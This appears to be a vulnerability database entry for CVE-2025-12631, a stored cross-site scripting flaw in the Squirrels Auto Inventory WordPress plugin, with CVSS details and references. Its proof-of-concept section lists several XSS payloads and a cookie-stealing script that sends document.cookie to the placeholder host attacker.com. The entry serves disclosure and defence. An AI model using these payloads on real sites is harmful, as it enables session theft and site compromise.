CVE-2025-12631

Description

The Squirrels Auto Inventory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Squirrels Auto Inventory plugin for WordPress <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CVE-2025-12631 PoC: Stored XSS in Squirrels Auto Inventory -->
<!-- Attack requires administrator privileges -->
<!-- Tested on Squirrels Auto Inventory <= 1.0.3 -->

<!-- Step 1: Login as administrator -->
<!-- Step 2: Navigate to plugin settings page -->
<!-- Step 3: Inject XSS payload in any settings field -->

<!-- Example payloads for settings injection: -->
<script>alert(document.cookie)</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(1)>
<body onload=alert('CVE-2025-12631')>

<!-- Example: Modify inventory name field with payload -->
<!-- POST request to /wp-admin/admin.php?page=squirrels-auto-inventory -->
<!-- Field: inventory_name -->
<!-- Value: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12631
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12631
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12631/
[4] VulDB https://vuldb.com/cve/CVE-2025-12631
[5] https://wordpress.org/plugins/squirrels-auto-inventory/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/9f93ee42-c21d-47cf-b140-65809da75653?source=cve

Raw JSON Data

JSON

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